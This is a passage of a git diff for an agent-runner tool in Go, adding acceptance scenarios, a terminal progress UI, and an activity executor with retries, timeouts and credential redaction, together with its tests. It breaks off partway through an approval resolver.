AGENTRUNNER_SCRIPTED_FIXTURE=$SCRATCH/fleet.yaml + $BIN run --workspace . lead.yaml "produce the report" + - run: test "$(ls xdg/agentrunner/sessions/*/sub | wc -l)" -eq 2 + - run: grep -q report xdg/agentrunner/sessions/*/artifacts/manifest.json +expect: + - exit_code: 0 + - file_contains: { path: report.md, text: "fleet report" } + - events_valid: xdg/agentrunner/sessions/*/events.jsonl + - events_valid: xdg/agentrunner/sessions/*/sub/*/events.jsonl diff --git a/internal/accept/scenarios/s5/no-escalation.yaml b/internal/accept/scenarios/s5/no-escalation.yaml new file mode 100644 index 0000000..854ac16 --- /dev/null +++ b/internal/accept/scenarios/s5/no-escalation.yaml @@ -0,0 +1,41 @@ +id: s5-03-no-escalation +title: 否定——parent 的 deny rule 绑定子 agent,子 agent 无法越权改文件 +files: + lead.yaml: | + name: lead + model: { provider: scripted, id: x } + system_prompt: delegate carefully + tools: [read_file] + agents: [editor] + permissions: + - { tool: edit_file, action: deny } + - { action: allow } + editor.yaml: | + name: editor + description: tries to edit + model: { provider: scripted, id: x } + system_prompt: edit things + tools: [edit_file] + esc.yaml: | + steps: + - respond: + - tool_call: { name: spawn_agent, args: { agent: editor, task: change the greeting } } + - finish: tool_use + - respond: + - tool_call: { name: edit_file, args: { path: greet.txt, old: hello, new: HACKED } } + - finish: tool_use + - respond: + - text: "denied, giving up" + - finish: end_turn + - respond: + - text: "child could not edit" + - finish: end_turn + greet.txt: "hello world" +steps: + - run: > + AGENTRUNNER_SCRIPTED_FIXTURE=$SCRATCH/esc.yaml + $BIN run --workspace . lead.yaml "delegate the edit" +expect: + - exit_code: 0 + - file_contains: { path: greet.txt, text: "hello world" } + - events_valid: xdg/agentrunner/sessions/*/sub/*/events.jsonl diff --git a/internal/accept/scenarios/s5/plan-approval.yaml b/internal/accept/scenarios/s5/plan-approval.yaml new file mode 100644 index 0000000..8921f22 --- /dev/null +++ b/internal/accept/scenarios/s5/plan-approval.yaml @@ -0,0 +1,36 @@ +id: s5-02-plan-approval-payload +title: plan 审批全流程——发布→审→拒(附理由)→v2→批,payload_ref 钉住版本 +files: + planner.yaml: | + name: planner + model: { provider: scripted, id: x } + system_prompt: plan first + tools: [bash] + plan.yaml: | + steps: + - respond: + - tool_call: { name: exit_plan_mode, args: { plan: "v1 rough idea" } } + - finish: tool_use + - expect: + last_message_contains: "denied" + respond: + - tool_call: { name: exit_plan_mode, args: { plan: "v2 detailed steps, verified" } } + - finish: tool_use + - respond: + - tool_call: { name: bash, args: { command: "echo executed > done.txt" } } + - finish: tool_use + - respond: + - text: "plan executed" + - finish: end_turn +steps: + - run: > + AGENTRUNNER_SCRIPTED_FIXTURE=$SCRATCH/plan.yaml + AGENTRUNNER_APPROVE='deny:needs more detail,approve' + $BIN run --workspace . --mode plan planner.yaml "make it so" + - run: grep -q '"stream". "plan"' xdg/agentrunner/sessions/*/artifacts/manifest.json + - run: test "$(grep -o 'payload_ref' xdg/agentrunner/sessions/*/events.jsonl | wc -l)" -ge 2 + - run: grep -q 'needs more detail' xdg/agentrunner/sessions/*/events.jsonl +expect: + - exit_code: 0 + - file_contains: { path: done.txt, text: "executed" } + - events_valid: xdg/agentrunner/sessions/*/events.jsonl diff --git a/internal/accept/scenarios/s6/background-task.yaml b/internal/accept/scenarios/s6/background-task.yaml new file mode 100644 index 0000000..8c4723b --- /dev/null +++ b/internal/accept/scenarios/s6/background-task.yaml @@ -0,0 +1,36 @@ +id: s6-03-background-task +title: 后台 effect——handle 当场配对,on_run_end=await 让任务善终,结果入 journal +files: + agent.yaml: | + name: bg + model: { provider: scripted, id: x, max_tokens: 100 } + system_prompt: run things in the background + tools: [bash] + on_run_end: await + permissions: + - { action: allow } + bg.yaml: | + steps: + - respond: + - tool_call: { name: bash, args: { command: "sleep 0.2; echo bg-done", background: true } } + - usage: { input_tokens: 40, output_tokens: 20 } + - finish: tool_use + - expect: { last_message_contains: task_id } + respond: + - text: "kicked it off; ending my turn" + - usage: { input_tokens: 20, output_tokens: 10 } + - finish: end_turn + - expect: { last_message_contains: bg-done } + respond: + - text: "the awaited result came back; done" + - usage: { input_tokens: 20, output_tokens: 10 } + - finish: end_turn +steps: + - run: > + AGENTRUNNER_SCRIPTED_FIXTURE=$SCRATCH/bg.yaml + $BIN run --workspace . agent.yaml "run a background job" + - run: grep -q '"background":true' xdg/agentrunner/sessions/*/events.jsonl + - run: grep -q 'bg-done' xdg/agentrunner/sessions/*/events.jsonl +expect: + - exit_code: 0 + - events_valid: xdg/agentrunner/sessions/*/events.jsonl diff --git a/internal/accept/scenarios/s6/goal-verify.yaml b/internal/accept/scenarios/s6/goal-verify.yaml new file mode 100644 index 0000000..97cb2c0 --- /dev/null +++ b/internal/accept/scenarios/s6/goal-verify.yaml @@ -0,0 +1,47 @@ +id: s6-01-goal-verify +title: goal mode——command verifier 两迭代达标,fresh child journal 逐迭代落盘 +files: + driver.yaml: | + name: fill-progress + agent_spec: worker.yaml + task: add a line to progress.txt + max_iterations: 3 + verifiers: + - { kind: command, command: "test $(wc -l < progress.txt) -ge 2" } + worker.yaml: | + name: worker + model: { provider: scripted, id: x, max_tokens: 100 } + system_prompt: make progress + tools: [bash] + permissions: + - { action: allow } + goal.yaml: | + steps: + - respond: + - tool_call: { name: bash, args: { command: "echo tick >> progress.txt" } } + - usage: { input_tokens: 40, output_tokens: 20 } + - finish: tool_use + - respond: + - text: "one line in" + - usage: { input_tokens: 20, output_tokens: 10 } + - finish: end_turn + - respond: + - tool_call: { name: bash, args: { command: "echo tick >> progress.txt" } } + - usage: { input_tokens: 40, output_tokens: 20 } + - finish: tool_use + - respond: + - text: "two lines in" + - usage: { input_tokens: 20, output_tokens: 10 } + - finish: end_turn +steps: + - run: > + AGENTRUNNER_SCRIPTED_FIXTURE=$SCRATCH/goal.yaml + $BIN drive --workspace . driver.yaml + - run: test "$(wc -l < progress.txt)" -eq 2 + - run: grep -q '"type":"driver_completed"' xdg/agentrunner/sessions/*/events.jsonl + - run: grep -q '"reason":"satisfied"' xdg/agentrunner/sessions/*/events.jsonl + - run: test -d xdg/agentrunner/sessions/*/sub/iter-1 && test -d xdg/agentrunner/sessions/*/sub/iter-2 +expect: + - exit_code: 0 + - output_contains: "driver satisfied: 2 iterations" + - events_valid: xdg/agentrunner/sessions/*/sub/*/events.jsonl diff --git a/internal/accept/scenarios/s6/reattach.yaml b/internal/accept/scenarios/s6/reattach.yaml new file mode 100644 index 0000000..b2f62b1 --- /dev/null +++ b/internal/accept/scenarios/s6/reattach.yaml @@ -0,0 +1,34 @@ +id: s6-04-reattach +title: daemon——submit 托管 run,事后 attach 从 journal 补读出同一故事 +files: + agent.yaml: | + name: waver + model: { provider: scripted, id: x, max_tokens: 100 } + system_prompt: wave politely + tools: [bash] + permissions: + - { action: allow } + fix.yaml: | + steps: + - respond: + - text: "hello from the daemon" + - usage: { input_tokens: 20, output_tokens: 10 } + - finish: end_turn +steps: + - run: > + AGENTRUNNER_SCRIPTED_FIXTURE=$SCRATCH/fix.yaml + $BIN daemon >daemon.log 2>&1 & + DPID=$!; + i=0; until [ -S xdg/agentrunner/daemon.sock ] || [ $i -ge 50 ]; do sleep 0.1; i=$((i+1)); done; + $BIN submit --workspace . agent.yaml "wave" >submit.out 2>&1; + RC=$?; + SESSION=$(ls xdg/agentrunner/sessions | head -1); + $BIN attach --json "$SESSION" >attach.out 2>&1; + RC2=$?; + kill $DPID 2>/dev/null; + test $RC -eq 0 && test $RC2 -eq 0 + - run: grep -q "hello from the daemon" submit.out + - run: grep -q '"kind":"run_end"' attach.out && grep -q '"text":"hello from the daemon"' attach.out +expect: + - exit_code: 0 + - events_valid: xdg/agentrunner/sessions/*/events.jsonl diff --git a/internal/accept/scenarios/s6/series-memory.yaml b/internal/accept/scenarios/s6/series-memory.yaml new file mode 100644 index 0000000..f73f856 --- /dev/null +++ b/internal/accept/scenarios/s6/series-memory.yaml @@ -0,0 +1,41 @@ +id: s6-02-series-memory +title: loop mode——series memory 注入:迭代 1 写下的记忆,迭代 2 的 task 里可见 +files: + driver.yaml: | + name: rounds + agent_spec: worker.yaml + schedule: interval + task: do the rounds + max_iterations: 2 + series_memory: SERIES.md + worker.yaml: | + name: worker + model: { provider: scripted, id: x, max_tokens: 100 } + system_prompt: keep a series log + tools: [bash] + permissions: + - { action: allow } + series.yaml: | + steps: + - respond: + - tool_call: { name: bash, args: { command: "echo remember-the-milk > SERIES.md" } } + - usage: { input_tokens: 40, output_tokens: 20 } + - finish: tool_use + - respond: + - text: "noted for next time" + - usage: { input_tokens: 20, output_tokens: 10 } + - finish: end_turn + - expect: { last_message_contains: remember-the-milk } + respond: + - text: "picked up where I left off" + - usage: { input_tokens: 20, output_tokens: 10 } + - finish: end_turn +steps: + - run: > + AGENTRUNNER_SCRIPTED_FIXTURE=$SCRATCH/series.yaml + $BIN drive --workspace . driver.yaml + - run: grep -q '"type":"driver_completed"' xdg/agentrunner/sessions/*/events.jsonl +expect: + - exit_code: 0 + - output_contains: "driver max_iterations: 2 iterations" + - events_valid: xdg/agentrunner/sessions/*/events.jsonl diff --git a/internal/accept/scenarios/s6/series-overnight.yaml b/internal/accept/scenarios/s6/series-overnight.yaml new file mode 100644 index 0000000..535e91a --- /dev/null +++ b/internal/accept/scenarios/s6/series-overnight.yaml @@ -0,0 +1,54 @@ +id: s6-05-series-overnight +title: 完成标志①——无人 attach 的 interval 系列在 daemon 里跑完,通知经 command 通道落盘 +files: + driver.yaml: | + name: overnight + agent_spec: worker.yaml + schedule: interval + interval: 100ms + task: do a round + max_iterations: 3 + worker.yaml: | + name: worker + model: { provider: scripted, id: x, max_tokens: 100 } + system_prompt: do rounds + tools: [bash] + permissions: + - { action: allow } + series.yaml: | + steps: + - respond: + - text: "round 1" + - usage: { input_tokens: 20, output_tokens: 10 } + - finish: end_turn + - respond: + - text: "round 2" + - usage: { input_tokens: 20, output_tokens: 10 } + - finish: end_turn + - respond: + - text: "round 3" + - usage: { input_tokens: 20, output_tokens: 10 } + - finish: end_turn + xdgc/agentrunner/settings.yaml: | + notify: + command: ["sh", "-c", "cat >> notes.log"] +steps: + - run: > + export XDG_CONFIG_HOME=$SCRATCH/xdgc; + AGENTRUNNER_SCRIPTED_FIXTURE=$SCRATCH/series.yaml + $BIN daemon >daemon.log 2>&1 & + DPID=$!; + i=0; until [ -S xdg/agentrunner/daemon.sock ] || [ $i -ge 50 ]; do sleep 0.1; i=$((i+1)); done; + $BIN submit --drive driver.yaml >submit.out 2>&1 & + SPID=$!; + i=0; until grep -q '"kind":"run_end"' notes.log 2>/dev/null || [ $i -ge 100 ]; do sleep 0.1; i=$((i+1)); done; + wait $SPID; RC=$?; + kill $DPID 2>/dev/null; + test $RC -eq 0 + - run: test "$(grep -c '"kind":"iteration"' notes.log)" -eq 3 + - run: grep -q '"kind":"run_end"' notes.log && grep -q 'max_iterations' notes.log + - run: test "$(grep -c '"type":"iteration_launched"' xdg/agentrunner/sessions/*/events.jsonl)" -eq 3 + - run: grep -q '"type":"driver_completed"' xdg/agentrunner/sessions/*/events.jsonl +expect: + - exit_code: 0 + - events_valid: xdg/agentrunner/sessions/*/events.jsonl diff --git a/internal/accept/tui.go b/internal/accept/tui.go new file mode 100644 index 0000000..f44cbe5 --- /dev/null +++ b/internal/accept/tui.go @@ -0,0 +1,101 @@ +package accept + +import ( + "fmt" + "strings" + + tea "github.com/charmbracelet/bubbletea" +) + +// RunTUI executes scenarios with a live checklist (TTY path). Returns the +// results in scenario order. +func RunTUI(runner *Runner, stage int, scenarios []Scenario) ([]Result, error) { + m := &model{stage: stage, scenarios: scenarios, runner: runner, + results: make([]Result, len(scenarios))} + prog := tea.NewProgram(m) + if _, err := prog.Run(); err != nil { + return nil, err + } + for i := range m.results { + if m.results[i].Status == "" { + m.results[i] = Result{ID: m.scenarios[i].ID, Title: m.scenarios[i].Title, + Status: StatusAborted, Detail: "run aborted before this scenario executed"} + } + } + return m.results, nil +} + +type doneMsg struct { + index int + result Result +} + +type model struct { + stage int + scenarios []Scenario + runner *Runner + results []Result + current int + finished bool +} + +func (m *model) Init() tea.Cmd { + return m.runNext() +} + +func (m *model) runNext() tea.Cmd { + idx := m.current + if idx >= len(m.scenarios) { + return tea.Quit + } + return func() tea.Msg { + return doneMsg{index: idx, result: m.runner.Run(m.scenarios[idx])} + } +} + +func (m *model) Update(msg tea.Msg) (tea.Model, tea.Cmd) { + switch msg := msg.(type) { + case doneMsg: + m.results[msg.index] = msg.result + m.current++ + if m.current >= len(m.scenarios) { + m.finished = true + return m, tea.Quit + } + return m, m.runNext() + case tea.KeyMsg: + if msg.String() == "ctrl+c" || msg.String() == "q" { + return m, tea.Quit + } + } + return m, nil +} + +func (m *model) View() string { + var sb strings.Builder + fmt.Fprintf(&sb, "acceptance — stage %d\n\n", m.stage) + for i, s := range m.scenarios { + switch { + case i < m.current: + r := m.results[i] + mark := map[Status]string{StatusPass: "✓", StatusFail: "✗", StatusSkipped: "–"}[r.Status] + fmt.Fprintf(&sb, " %s %-28s %s (%.1fs)\n", mark, s.ID, s.Title, r.Duration.Seconds()) + if r.Status == StatusFail { + fmt.Fprintf(&sb, " %s\n", firstLine(r.Detail)) + } + case i == m.current && !m.finished: + fmt.Fprintf(&sb, " ⠿ %-28s %s …\n", s.ID, s.Title) + default: + fmt.Fprintf(&sb, " · %-28s %s\n", s.ID, s.Title) + } + } + sb.WriteString("\n(q to abort)\n") + return sb.String() +} + +func firstLine(s string) string { + if i := strings.IndexByte(s, '\n'); i >= 0 { + return s[:i] + } + return s +} diff --git a/internal/agent/activity.go b/internal/agent/activity.go new file mode 100644 index 0000000..feffaaf --- /dev/null +++ b/internal/agent/activity.go @@ -0,0 +1,228 @@ +package agent + +import ( + "context" + "encoding/json" + "errors" + "fmt" + "time" + + "github.com/ralphite/agentrunner/internal/clock" + "github.com/ralphite/agentrunner/internal/crash" + "github.com/ralphite/agentrunner/internal/errs" + "github.com/ralphite/agentrunner/internal/event" + "github.com/ralphite/agentrunner/internal/provider" + "github.com/ralphite/agentrunner/internal/redact" +) + +// AppendFunc journals one event AND folds it into the caller's state — +// the loop owns both, the executor never touches the store directly. +type AppendFunc func(typ string, payload any) (event.Envelope, error) + +// Activity describes one side-effecting unit: Started is journaled before +// execution, a terminal event after (the in-doubt window between the two +// is exactly what 2.15 surfaces on resume). +type Activity struct { + ID string // deterministic: llm-t | tool- + Kind string // event.KindLLM | event.KindTool + Name string + Args json.RawMessage + CallID string + Idempotent bool + // Timeout arms a durable timer for each attempt (2.11): TimerSet is + // journaled, and on fire the run ctx is canceled with cause + // errs.ErrActivityTimeout. Zero means no timeout. + Timeout time.Duration + // Run performs the effect: (result, usage, isError, err). isError is a + // model-visible failed result (tool_failed) — the activity SUCCEEDED; + // err is an activity failure fed to the retry policy. + Run func(ctx context.Context) (json.RawMessage, *provider.Usage, bool, error) + // Progress is the optional ephemeral channel seam (S4 deltas, S6 task + // tails). Never journaled; unused in S2. + Progress func(delta string) + // PostRun runs after a successful Run, before the terminal event; its + // return value lands in ActivityCompleted.hook_note (3.8 post hooks). + PostRun func(ctx context.Context, result json.RawMessage, isError bool) string + // DiscardOnRetry (S4.1) runs before each retry — the LLM activity uses + // it to journal TurnDiscarded and signal the surface to reopen the + // stream when deltas were already emitted. + DiscardOnRetry func() error +} + +// ActivityExecutor is the single path every side effect takes (2.10). +type ActivityExecutor struct { + Append AppendFunc + Clock clock.Clock + Redact *redact.Redactor + // MaxAttempts/Backoff default to 3 attempts with 1s/4s waits. + MaxAttempts int + Backoff []time.Duration +} + +// Do runs the activity: Started → execute → terminal, retrying retryable +// failures with backoff through the Clock. Args and results pass through +// credential redaction before journaling. +func (x *ActivityExecutor) Do(ctx context.Context, act Activity) error { + maxAttempts := x.MaxAttempts + if maxAttempts == 0 { + maxAttempts = 3 + } + backoff := x.Backoff + if backoff == nil { + backoff = []time.Duration{time.Second, 4 * time.Second} + } + + for attempt := 1; ; attempt++ { + if _, err := x.Append(event.TypeActivityStarted, &event.ActivityStarted{ + ActivityID: act.ID, + Kind: act.Kind, + Name: act.Name, + Args: x.Redact.JSON(act.Args), + CallID: act.CallID, + Idempotent: act.Idempotent, + Attempt: attempt, + }); err != nil { + return err + } + + result, usage, isError, err, timedOut := x.runAttempt(ctx, act, attempt) + if timedOut && err != nil && isCancellation(err) { + // The run surfaced OUR cancellation as an error: the true class + // is timeout (retryable), not canceled. Errors that do not + // descend from the cancellation (a 401 racing the timer, a + // store failure) keep their own class — stamping them + // retryable would retry the unretryable. + err = errs.Wrap(errs.Timeout, err, "activity timeout") + } + if !timedOut && ctx.Err() != nil { + // Canceled from above (2.12). The effect implementation has + // already killed its process group and drained (bounded); the + // terminal fact is ActivityCancelled with whatever partial + // output survived — journaled only now, after the group died. + // Usage the run managed to report settles (a steered child run's + // spend is real, S5 review). + if _, aerr := x.Append(event.TypeActivityCancelled, &event.ActivityCancelled{ + ActivityID: act.ID, + PartialOutput: string(x.Redact.JSON(result)), + Usage: usage, + }); aerr != nil { + return aerr + } + return errs.Wrap(errs.Canceled, context.Cause(ctx), act.Name) + } + if err == nil { + var note string + if act.PostRun != nil { + note = act.PostRun(ctx, result, isError) + } + crash.Point(crash.PointAfterExecBeforeJournal) + _, aerr := x.Append(event.TypeActivityCompleted, &event.ActivityCompleted{ + ActivityID: act.ID, + Result: x.Redact.JSON(result), + Usage: usage, + IsError: isError, + HookNote: x.Redact.String(note), + }) + return aerr + } + + class := errs.ClassOf(err) + final := !class.Retryable() || attempt >= maxAttempts + if _, aerr := x.Append(event.TypeActivityFailed, &event.ActivityFailed{ + ActivityID: act.ID, + Attempt: attempt, + Error: event.ErrorInfo{ + Class: string(class), + Message: x.Redact.String(err.Error()), + Retryable: class.Retryable(), + }, + Final: final, + }); aerr != nil { + return aerr + } + + if final { + return err + } + if act.DiscardOnRetry != nil { + if derr := act.DiscardOnRetry(); derr != nil { + return derr + } + } + wait := backoff[min(attempt-1, len(backoff)-1)] + if werr := x.Clock.WaitUntil(ctx, x.Clock.Now().Add(wait)); werr != nil { + return werr + } + } +} + +// runAttempt executes one attempt, racing it against the durable timeout +// timer when armed. All journal appends stay on this goroutine; the timer +// waiter only signals a channel. Returns timedOut=true when the timer +// fired before the run finished. +func (x *ActivityExecutor) runAttempt(ctx context.Context, act Activity, attempt int) (json.RawMessage, *provider.Usage, bool, error, bool) { + if act.Timeout <= 0 { + r, u, ie, err := act.Run(ctx) + return r, u, ie, err, false + } + + timerID := fmt.Sprintf("tm-%s-a%d", act.ID, attempt) + fireAt := x.Clock.Now().Add(act.Timeout) + if _, err := x.Append(event.TypeTimerSet, &event.TimerSet{ + TimerID: timerID, FireAt: fireAt, Purpose: "activity_timeout:" + act.ID, + }); err != nil { + return nil, nil, false, err, false + } + + runCtx, cancelRun := context.WithCancelCause(ctx) + defer cancelRun(nil) + waitCtx, cancelWait := context.WithCancel(ctx) + defer cancelWait() + + fired := make(chan struct{}, 1) + go func() { + if x.Clock.WaitUntil(waitCtx, fireAt) == nil { + fired <- struct{}{} + } + }() + + type outcome struct { + result json.RawMessage + usage *provider.Usage + isError bool + err error + } + outc := make(chan outcome, 1) + go func() { + r, u, ie, err := act.Run(runCtx) + outc <- outcome{r, u, ie, err} + }() + + select { + case out := <-outc: + cancelWait() + if _, err := x.Append(event.TypeTimerCancelled, &event.TimerCancelled{TimerID: timerID}); err != nil { + return nil, nil, false, err, false + } + return out.result, out.usage, out.isError, out.err, false + case <-fired: + if _, err := x.Append(event.TypeTimerFired, &event.TimerFired{TimerID: timerID}); err != nil { + // Store failure, not a timeout: drain the run (cancelRun via + // defer) and surface the append error with its own class. + cancelRun(errs.ErrActivityTimeout) + <-outc + return nil, nil, false, err, false + } + cancelRun(errs.ErrActivityTimeout) + out := <-outc // bounded drain: effect impls kill their process groups on cancel + return out.result, out.usage, out.isError, out.err, true + } +} + +// isCancellation reports whether err descends from a context cancellation +// (which is how our timeout reaches the run). +func isCancellation(err error) bool { + return errors.Is(err, context.Canceled) || + errors.Is(err, context.DeadlineExceeded) || + errors.Is(err, errs.ErrActivityTimeout) +} diff --git a/internal/agent/activity_test.go b/internal/agent/activity_test.go new file mode 100644 index 0000000..a6cf8be --- /dev/null +++ b/internal/agent/activity_test.go @@ -0,0 +1,272 @@ +package agent + +import ( + "context" + "encoding/json" + "strings" + "testing" + "time" + + "github.com/ralphite/agentrunner/internal/clock" + "github.com/ralphite/agentrunner/internal/errs" + "github.com/ralphite/agentrunner/internal/event" + "github.com/ralphite/agentrunner/internal/provider" + "github.com/ralphite/agentrunner/internal/redact" + "github.com/ralphite/agentrunner/internal/state" +) + +// memAppend collects appended events in memory. +type memAppend struct { + events []event.Envelope +} + +func (m *memAppend) append(typ string, payload any) (event.Envelope, error) { + env, err := event.New(typ, payload) + if err != nil { + return env, err + } + env.Seq = int64(len(m.events) + 1) + env.ID = event.EventID(env.Seq) + m.events = append(m.events, env) + return env, nil +} + +func (m *memAppend) types() []string { + var out []string + for _, e := range m.events { + out = append(out, e.Type) + } + return out +} + +func testExecutor(m *memAppend) *ActivityExecutor { + return &ActivityExecutor{ + Append: m.append, + Clock: clock.NewFake(time.Date(2026, 7, 3, 0, 0, 0, 0, time.UTC)), + Redact: redact.FromEnv(), + } +} + +// Credentials never reach the journal: args and results are redacted. +func TestActivityRedaction(t *testing.T) { + t.Setenv("SNEAKY_API_KEY", "hunter2-secret-value") + m := &memAppend{} + x := testExecutor(m) + x.Redact = redact.FromEnv() // rebuild after Setenv + + err := x.Do(context.Background(), Activity{ + ID: "tool-call_1_0", Kind: event.KindTool, Name: "bash", + Args: json.RawMessage(`{"command":"echo hunter2-secret-value"}`), + CallID: "call_1_0", + Run: func(context.Context) (json.RawMessage, *provider.Usage, bool, error) { + return json.RawMessage(`{"output":"hunter2-secret-value done"}`), nil, false, nil + }, + }) + if err != nil { + t.Fatal(err) + } + raw, _ := json.Marshal(m.events) + if strings.Contains(string(raw), "hunter2-secret-value") { + t.Fatalf("credential leaked into events: %s", raw) + } + if !strings.Contains(string(raw), "[REDACTED:SNEAKY_API_KEY]") { + t.Fatalf("expected redaction marker: %s", raw) + } +} + +// A retryable failure retries with backoff through the Clock and each +// attempt is its own Started/Failed pair; success on attempt 2 completes. +func TestActivityRetryOnRetryable(t *testing.T) { + m := &memAppend{} + x := testExecutor(m) + fake := clock.NewFake(time.Date(2026, 7, 3, 0, 0, 0, 0, time.UTC)) + x.Clock = fake + + attempts := 0 + done := make(chan error, 1) + go func() { + done <- x.Do(context.Background(), Activity{ + ID: "llm-t1", Kind: event.KindLLM, Name: "complete", + Run: func(context.Context) (json.RawMessage, *provider.Usage, bool, error) { + attempts++ + if attempts == 1 { + return nil, nil, false, errs.New(errs.ProviderRateLimit, "429") + } + return nil, nil, false, nil + }, + }) + }() + for fake.Waiters() == 0 { // parked on the 1s backoff + } + fake.Advance(time.Second) + if err := <-done; err != nil { + t.Fatal(err) + } + want := []string{"activity_started", "activity_failed", "activity_started", "activity_completed"} + if got := m.types(); !equal(got, want) { + t.Fatalf("events = %v, want %v", got, want) + } + // Attempt numbers climb. + var started event.ActivityStarted + _ = json.Unmarshal(m.events[2].Payload, &started) + if started.Attempt != 2 { + t.Errorf("second attempt = %d", started.Attempt) + } +} + +// Non-retryable failures stop after one attempt. +func TestActivityNoRetryOnFatal(t *testing.T) { + m := &memAppend{} + x := testExecutor(m) + err := x.Do(context.Background(), Activity{ + ID: "llm-t1", Kind: event.KindLLM, Name: "complete", + Run: func(context.Context) (json.RawMessage, *provider.Usage, bool, error) { + return nil, nil, false, errs.New(errs.ProviderAuth, "401") + }, + }) + if err == nil { + t.Fatal("fatal error must surface") + } + want := []string{"activity_started", "activity_failed"} + if got := m.types(); !equal(got, want) { + t.Fatalf("events = %v, want %v", got, want) + } +} + +// Retries exhaust at MaxAttempts even for retryable classes. +func TestActivityRetryExhaustion(t *testing.T) { + m := &memAppend{} + x := testExecutor(m) + x.MaxAttempts = 2 + x.Backoff = []time.Duration{0} + err := x.Do(context.Background(), Activity{ + ID: "llm-t1", Kind: event.KindLLM, Name: "complete", + Run: func(context.Context) (json.RawMessage, *provider.Usage, bool, error) { + return nil, nil, false, errs.New(errs.ProviderServer, "503") + }, + }) + if err == nil { + t.Fatal("exhausted retries must surface the error") + } + if got := len(m.events); got != 4 { // 2× (started, failed) + t.Fatalf("events = %v", m.types()) + } +} + +// The idempotent flag is journaled verbatim — the 2.15 in-doubt policy +// reads it from ActivityStarted at resume time. +func TestActivityIdempotentFlagJournaled(t *testing.T) { + m := &memAppend{} + x := testExecutor(m) + if err := x.Do(context.Background(), Activity{ + ID: "tool-call_1_0", Kind: event.KindTool, Name: "read_file", + CallID: "call_1_0", Idempotent: true, + Run: func(context.Context) (json.RawMessage, *provider.Usage, bool, error) { + return json.RawMessage(`{}`), nil, false, nil + }, + }); err != nil { + t.Fatal(err) + } + var started event.ActivityStarted + if err := json.Unmarshal(m.events[0].Payload, &started); err != nil { + t.Fatal(err) + } + if !started.Idempotent { + t.Error("idempotent flag lost") + } +} + +// A model-visible error result (isError) is a SUCCESSFUL activity. +func TestActivityIsErrorIsCompletion(t *testing.T) { + m := &memAppend{} + x := testExecutor(m) + if err := x.Do(context.Background(), Activity{ + ID: "tool-call_1_0", Kind: event.KindTool, Name: "read_file", CallID: "call_1_0", + Run: func(context.Context) (json.RawMessage, *provider.Usage, bool, error) { + return json.RawMessage(`"no such file"`), nil, true, nil + }, + }); err != nil { + t.Fatal(err) + } + var completed event.ActivityCompleted + if err := json.Unmarshal(m.events[1].Payload, &completed); err != nil { + t.Fatal(err) + } + if !completed.IsError { + t.Error("is_error lost") + } +} + +// DiscardOnRetry (the S4 TurnDiscarded seam) fires before each retry. +func TestActivityDiscardSeam(t *testing.T) { + m := &memAppend{} + x := testExecutor(m) + x.Backoff = []time.Duration{0} + discards := 0 + attempts := 0 + if err := x.Do(context.Background(), Activity{ + ID: "llm-t1", Kind: event.KindLLM, Name: "complete", + DiscardOnRetry: func() error { discards++; return nil }, + Run: func(context.Context) (json.RawMessage, *provider.Usage, bool, error) { + attempts++ + if attempts < 3 { + return nil, nil, false, errs.New(errs.Timeout, "slow") + } + return nil, nil, false, nil + }, + }); err != nil { + t.Fatal(err) + } + if discards != 2 { + t.Errorf("discards = %d, want 2", discards) + } +} + +func equal(a, b []string) bool { + if len(a) != len(b) { + return false + } + for i := range a { + if a[i] != b[i] { + return false + } + } + return true +} + +// 3.9 loop continuity: a tool activity that fails TERMINALLY resolves its +// call with the rendered error (fold), so decide() moves past it instead +// of re-running — the model reacts on its next turn. +func TestFinalToolFailureRendersAndResolves(t *testing.T) { + m := &memAppend{} + x := testExecutor(m) + x.MaxAttempts = 1 + + ds := &driveState{s: state.New()} + x.Append = func(typ string, payload any) (event.Envelope, error) { + env, err := m.append(typ, payload) + if err != nil { + return env, err + } + ds.s, err = state.Apply(ds.s, env) + return env, err + } + + err := x.Do(context.Background(), Activity{ + ID: "tool-call_1_0", Kind: event.KindTool, Name: "mcp_search", + CallID: "call_1_0", + Run: func(context.Context) (json.RawMessage, *provider.Usage, bool, error) { + return nil, nil, false, errs.New(errs.ToolFailed, "backend unreachable") + }, + }) + if err == nil { + t.Fatal("terminal failure must surface to the caller") + } + tr, ok := ds.s.Conversation.ToolResults["call_1_0"] + if !ok || !tr.IsError || !strings.Contains(string(tr.Result), "tool failed") { + t.Fatalf("rendered result = %+v (ok=%v)", tr, ok) + } + if len(ds.s.Activities) != 0 { + t.Fatalf("in-flight not drained: %+v", ds.s.Activities) + } +} diff --git a/internal/agent/approval.go b/internal/agent/approval.go new file mode 100644 index 0000000..ce2f345 --- /dev/null +++ b/internal/agent/approval.go @@ -0,0 +1,270 @@ +package agent + +import ( + "context" + "encoding/json" + "fmt" + "os" + "strings" + "sync" + + "github.com/ralphite/agentrunner/internal/crash" + "github.com/ralphite/agentrunner/internal/event" + "github.com/ralphite/agentrunner/internal/pipeline" + "github.com/ralphite/agentrunner/internal/redact" +) + +// ApprovalRequest is what a resolver shows the human. +type ApprovalRequest struct { + ApprovalID string + CallID string + // Agent identifies WHO is asking (spec name + session): sub-agent asks + // bubble to the same frontend, and the human must be able to tell a + // child's destructive edit from the parent's harmless read (S5 review). + Agent string + ToolName string + Args json.RawMessage + GateResults []event.GateResult +} + +// ApprovalDecision is the human's answer. +type ApprovalDecision struct { + Approve bool + Reason string + Source string // tty | env +} + +// ApprovalResolver blocks until a decision arrives or ctx is done. +type ApprovalResolver interface { + Resolve(ctx context.Context, req ApprovalRequest) (ApprovalDecision, error) +} + +// EnvApprovals is the non-interactive resolver. AGENTRUNNER_APPROVE= +// - always / never (unset = never — loop-mode must fail closed, not hang) +// - a comma-separated SEQUENCE of approve|deny[:reason] (S6 还债③): +// answers are consumed in order and the last repeats once exhausted, +// which makes multi-approval flows (plan 拒→v2→批) scriptable in +// acceptance scenarios. The sequence position is resolver state — the +// loop keeps ONE instance per tree (children share it). +type EnvApprovals struct { + mu sync.Mutex + idx int +} + +func (e *EnvApprovals) Resolve(_ context.Context, _ ApprovalRequest) (ApprovalDecision, error) { + v := os.Getenv("AGENTRUNNER_APPROVE") + switch v { + case "always": + return ApprovalDecision{Approve: true, Reason: "AGENTRUNNER_APPROVE=always", Source: "env"}, nil + case "", "never": + return ApprovalDecision{Approve: false, Reason: "auto-denied (AGENTRUNNER_APPROVE unset or never)", Source: "env"}, nil + } + parts := strings.Split(v, ",") + e.mu.Lock() + i := e.idx + if i >= len(parts) { + i = len(parts) - 1 // exhausted: the last answer repeats + } + e.idx++ + e.mu.Unlock() + verb, reason, _ := strings.Cut(strings.TrimSpace(parts[i]), ":") + switch verb { + case "approve", "y", 